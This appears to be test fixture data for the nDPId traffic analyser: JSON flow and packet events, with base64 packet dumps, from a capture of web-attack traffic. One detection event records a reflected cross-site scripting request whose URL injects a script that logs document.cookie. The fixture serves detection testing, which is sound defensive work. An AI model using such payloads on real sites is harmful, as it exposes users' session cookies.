+00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1622,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":6,"flow_first_seen":1499347093662,"flow_last_seen":1499347099640,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53544,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":111,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1625,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347161,"pkt_ts_usec":657977,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OCpAAD4Gja6sEAABwKgKMtO6AFAdhZhZPg0DvoARAOUW2gAAAQEICgE5pVkD43Hn"} +00432{"flow_id":111,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1626,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347161,"pkt_ts_usec":658201,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0dW5AAEAGTmrAqAoyrBAAAQBQ07o+DQO+HYWYWoARAOMR8gAAAQEICgPjdtABOaVZ"} +00432{"flow_id":111,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1627,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347161,"pkt_ts_usec":658902,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OCtAAD4Gja2sEAABwKgKMtO6AFAdhZhaPg0Dv4AQAOUR8AAAAQEICgE5pVkD43bQ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1635,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1499347163177,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54268,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":114,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1635,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347163,"pkt_ts_usec":177633,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8YKVAAD4GZSusEAABwKgKMtP8AFCcucZwAAAAAKACchB\/fgAAAgQFtAQCCAoBOabVAAAAAAEDAwc="} +00445{"flow_id":114,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1636,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347163,"pkt_ts_usec":177740,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0\/zGVu0LnLnGcaAScSBQzAAAAgQFtAQCCAoD43hLATmm1QEDAwc="} +00432{"flow_id":114,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1638,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347163,"pkt_ts_usec":178534,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YKZAAD4GZTKsEAABwKgKMtP8AFCcucZxxlbtDIAQAOXv0wAAAQEICgE5ptUD43hL"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1644,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1499347164459,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54282,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":115,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1644,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347164,"pkt_ts_usec":459731,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8yU1AAD4G\/IKsEAABwKgKMtQKAFBoaGFbAAAAAKACchAXlgAAAgQFtAQCCAoBOagWAAAAAAEDAwc="} +00444{"flow_id":115,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1645,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347164,"pkt_ts_usec":459865,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1ArCPOEyaGhhXKAScSD3lQAAAgQFtAQCCAoD43mMATmoFgEDAwc="} +00433{"flow_id":115,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1646,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347164,"pkt_ts_usec":460432,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0yU5AAD4G\/ImsEAABwKgKMtQKAFBoaGFcwjzhM4AQAOWWnQAAAQEICgE5qBYD43mM"} +00432{"flow_id":112,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1650,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347164,"pkt_ts_usec":658491,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ly9AAD4GlqmsEAABwKgKMtPUAFBviYw9O1J26YARAOVa2AAAAQEICgE5qEcD43SI"} +00432{"flow_id":112,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1651,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347164,"pkt_ts_usec":658713,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0D1dAAEAGtIHAqAoyrBAAAQBQ09Q7Unbpb4mMPoARAONVowAAAQEICgPjeb4BOahH"} +00432{"flow_id":112,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1652,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347164,"pkt_ts_usec":659444,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LzBAAD4GlqisEAABwKgKMtPUAFBviYw+O1J26oAQAOVVoQAAAQEICgE5qEcD43m+"} +00432{"flow_id":113,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1656,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347165,"pkt_ts_usec":658437,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eUFAAD4GTJesEAABwKgKMtPiAFBG+910dLpZdYARAOUT+QAAAQEICgE5qUED43XC"} +00432{"flow_id":113,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1657,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347165,"pkt_ts_usec":658655,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0I81AAEAGoAvAqAoyrBAAAQBQ0+J0ull1RvvddYARAOMPBAAAAQEICgPjergBOalB"} +00432{"flow_id":113,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1658,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347165,"pkt_ts_usec":659256,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eUJAAD4GTJasEAABwKgKMtPiAFBG+911dLpZdoAQAOUPAgAAAQEICgE5qUED43q4"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1659,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1499347165741,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54296,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":116,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1659,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347165,"pkt_ts_usec":741193,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8vRVAAD4GCLusEAABwKgKMtQYAFCo9hRDAAAAAKACchAi0gAAAgQFtAQCCAoBOalWAAAAAAEDAwc="} +00444{"flow_id":116,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1660,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347165,"pkt_ts_usec":741317,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1BjYjd6VqPYURKAScSDt3QAAAgQFtAQCCAoD43rMATmpVgEDAwc="} +00432{"flow_id":116,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1661,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347165,"pkt_ts_usec":742065,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vRZAAD4GCMKsEAABwKgKMtQYAFCo9hRE2I3eloAQAOWM5QAAAQEICgE5qVYD43rM"} +01213{"flow_id":114,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1671,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347167,"pkt_ts_usec":4883,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9YKdAAD4GYuisEAABwKgKMtP8AFCcucZxxlbtDIAYAOWwPAAAAQEICgE5qpID43hLR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjcwWFZNNEMxQ05TV1k4VkY0NDNHR1o2VzUyN1dCWTRIMjlFMlhRTkdHMlFVUFFFS1cwVSUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00917{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1671,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":4,"flow_first_seen":1499347163177,"flow_last_seen":1499347167004,"flow_tot_l4_data_len":729,"flow_min_l4_data_len":32,"flow_max_l4_data_len":617,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54268,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/?name=%3Cscript%3Econsole.log%28%270XVM4C1CNSWY8VF443GGZ6W527WBY4H29E2XQNGG2QUPQEKW0U%27%29%3Bconsole.log%28document.cookie%29%3B%3C%2Fscript%3E","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00431{"flow_id":114,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1672,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347167,"pkt_ts_usec":4975,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0kQRAAEAGMtTAqAoyrBAAAQBQ0\/zGVu0MnLnIuoAQAOzmCQAAAQEICgPjfAgBOaqS"} +02959{"flow_id":114,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1673,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347167,"pkt_ts_usec":8071,"pkt_caplen":1935,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1935,"pkt_l4_len":1901,"pkt":"AMGxFOsxABm5CmnxCABFAAeBkQVAAEAGK4bAqAoyrBAAAQBQ0\/zGVu0MnLnIuoAYAOx+XwAAAQEICgPjfAkBOaqSSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE5OjI2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNw0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWHtP4zgQ\/xuk\/Q4+n3TASo0py90tbJsVtLx0sAvblrKnkyI3cVuDEwfbaeHb3ziPNjxLtkioOPY8fuMZj2f8YbXxW\/t7q\/vz\/ACNTSjQeW\/\/9KSFcI2Q\/qcWIe1uG10dd89OUd3ZRB2juG8IOfiGER4bE+8SMp1OneknR6oR6f4gd1ZK3bLlw5pOeZzABNj9sPphtZHquQtFpJvPyKjv7OxkrBn5SmPMaADDlZVGyAxFlqXGbhM+aeKWjAyLTK17HzOM\/OyriQ27M8SK+IL8MVWamWave1j7jBHJZK40DDeCuZeJiJiiAy64ud9FP9hQMN+wALWU1Bp1uGGo4yseGx6N0PpVp7OBdndRm4YRKngFQ302QHtxLLhPDZcRWm9f9vc20KTu1DfRxzabMCHjEKB9bJBMcY5C8OgGKSaaWJt7wfSYMYORAWtyI3ytMRorNmxixyHwF0ym1M6SkPLISZfJU2kctqKQ8x8P6YgRmHooaUgnlsxJF2YydGptGcI1ndBsFiOt\/AdArnX6\/xwUONcauw2SUeaeI7nr7Hggg3vkC6qt12XIcObSgE8QD5rY+g4sYir3emnJCinNrzR4OHqCJDVSEyFH0omjEUZUQCAscNTcbsAK6p6otpvsgeOSkvYna15Mg4AFmUFAkIjCTru6L6R\/Y7dGcCQjH1TfNPGUR4GcOrCU4miuZZY4a7hgBQb6wF0Odo9h2xqEwi4L7q6+RSCP4PQlvp3STjyOX5H\/mBS7J6WZamrhwCXxAn0zGux27BAROH4widr7JWUkEe4SGzopnW8O4TFQiWHkFVTPM2B33\/5Hh1L5FT3wWCC7Y34VACk9dlsyDGkUoJPomqUeWQ6Fr9WwCoqUHlB0fhwup3jIifM1hqPa5MCZBGxBlLyJH7uHHA73iZ3RS+9NEgtJgyq7k3PkMHrp15L+obGBm6uSi3KW9NwyP1EMtfbOu63jveWg6FvBq+BI6eFMX5y+V7Baid4ALrdKTilxPUKD1vft9MZyqKaM3ni8EqSCBbt9GKEO0zZa0Um7Ynp9LPdOa68SkIwBu1DPQK3y\/WzJrbDiVEm\/ZlkV9SYcqsAxK77eAY2uuhu6QNExUj2EsOQVlJ5FqC4XXodzMuza+hHiI5uqth3Az6OhXKCuRIXd8+NzOB1DWU0RHcjELFAzo8Hunh2+37baQm+h+jkRdk\/T8SMAecX2oPZ7uRC0Jey8EIROxq7muu1auRBsjOu\/0l1AyVzPC+aS8MmsgvV8GTCPKkbz+nkoVYgiGkK1DvxQ9qYprol\/xwi6pbEE7EcH3bw2bcS5xf0xNWsa3ctEpcxfi8o6ipNy8Y9z0fZ3Vt+WiXQyCDmQTahI4LOTfebaSOxmTQWxKDO8sWLuMRNCorzVcKHy11Iw8PBofW3z6vJsu1Vvfev0f36+PNze\/nR09O9f\/T+3\/u7v\/9w+3to52Lq6+HZ0tHXRO784+Ke\/2Vvb+FKWEEg\/sZ2W40t5w9nGl1lLAnAUS10z93BjvOWewYFPw1+FNLusYNKu5fEB0TiPK9t86rxhlVOq47RnhRBldzbMSOrZmgbPejPPeqlnoR2jagSdKIZbiUY32P11WbMorowPuD2oUgxT3gG0dWCu14L+ynidvPWsiPF1eYtxssiZ8hses4DTVLT9KluuC8tfxvZ2Ga\/jyc30R3yWjH0Z2uuhNqS3Tvok8SyINzC+SXOGkwqmTD2V8Kq6J9RlHXl2y0K96FwHCvrd7LdIYS+kvDzv+IJRNTvNz+VFfa8NCz17lzybHwaJMbbPzvPDJWdTBMc\/nuXsWMZJ7BVkMmplWX\/+6LALFL14Hb1w209AojcGiTYcvwKktKb4o3BEU8jpGtrALloIqwPJ0GfvC0ynMhdCs7tJBR9B3hZsCPmzwUK3p5myeXe3QeAL0SDkUe5C+C6KA3RqX5dyGpA4p4Bb\/aTdyVcCru31ERRefNGhQynNg8eW2F3mtSt+7lotJ2BiL87sXTB9sXP\/B0XatfGSFAAA"} +00430{"flow_id":114,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1674,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347167,"pkt_ts_usec":8778,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YKhAAD4GZTCsEAABwKgKMtP8AFCcuci6xlb0WYAQAQLepAAAAQEICgE5qpMD43wJ"} +00946{"flow_id":114,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1675,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347168,"pkt_ts_usec":31789,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzYKlAAD4GY7CsEAABwKgKMtP8AFCcuci6xlb0WYAYAQKMrAAAAQEICgE5q5MD43wJR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02820{"flow_id":114,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1676,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347168,"pkt_ts_usec":35005,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAcekQdAAEAGK+fAqAoyrBAAAQBQ0\/zGVvRZnLnKOYAYAPV9\/AAAAQEICgPjfQoBOauTSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE5OjI3IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00432{"flow_id":114,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1677,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347168,"pkt_ts_usec":35717,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YKpAAD4GZS6sEAABwKgKMtP8AFCcuco5xlb7Q4AQAR3UHgAAAQEICgE5q5QD430K"} 